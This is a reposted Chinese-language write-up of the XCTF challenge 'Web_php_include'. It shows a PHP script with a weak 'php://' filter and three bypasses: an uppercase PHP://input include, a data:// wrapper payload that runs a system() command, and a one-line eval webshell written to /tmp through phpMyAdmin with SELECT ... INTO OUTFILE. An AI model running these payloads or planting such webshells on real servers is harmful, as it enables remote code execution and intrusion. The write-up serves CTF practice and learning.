php include文件包含


XCTF題目:Web_php_include

<?php
show_source(__FILE__);//高亮顯示源文件
echo $_GET['hello'];
$page=$_GET['page']; //獲取表單‘page’的值
while (strstr($page, "php://")) {  
    $page=str_replace("php://", "", $page);
}
include($page);//include()函數用於將函數內調用的文件內的所有內容(文本)復制到調用它的文件中;
?>


//strstr($page, "php://") 中如果page的值中沒有出現"php://",那么不進入循環(循環的意思是將page中含有"php://"的替換為空格)

 

第一種方法:

關於str_repalce函數的繞過:這個函數是區分大小寫的,所以只要使用大寫就能繞過

接着使用PHP://input配合post來傳遞惡意代碼

 

得知flag文件后讀取文件即可得到flag

 

 

 

 

第二種方法(data://偽協議執行命令利用)

 

既然過濾了php://的偽協議 我們可以使用其他協議來做這里使用data://偽協議

data://偽協議

php5.2.0起,數據流封裝器開始有效,主要用於數據流的讀取。如果傳入的數據是PHP代碼,就會執行代碼

使用方法:data://text/plain;base64,xxxx(base64編碼后的數據)

<?php system("cat fl4gisisish3r3.php")?>

 

 

 

 

 

 

 

第三種方法(數據庫寫入馬)

御劍掃描獲得phpmyadmin root 密碼空 進入

數據庫執行這條命令查看secure_file_priv是否為空,為空則可以寫數據 如果是null不能寫

SHOW VARIABLES LIKE "secure_file_priv"

linux默認tmp是可寫目錄 試試寫入一句話馬 菜刀連接 

SELECT "<?php eval(@$_POST['xiaohua']); ?>"
INTO OUTFILE '/tmp/test1.php'

 

參考:https://www.cnblogs.com/xhds/p/12218471.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM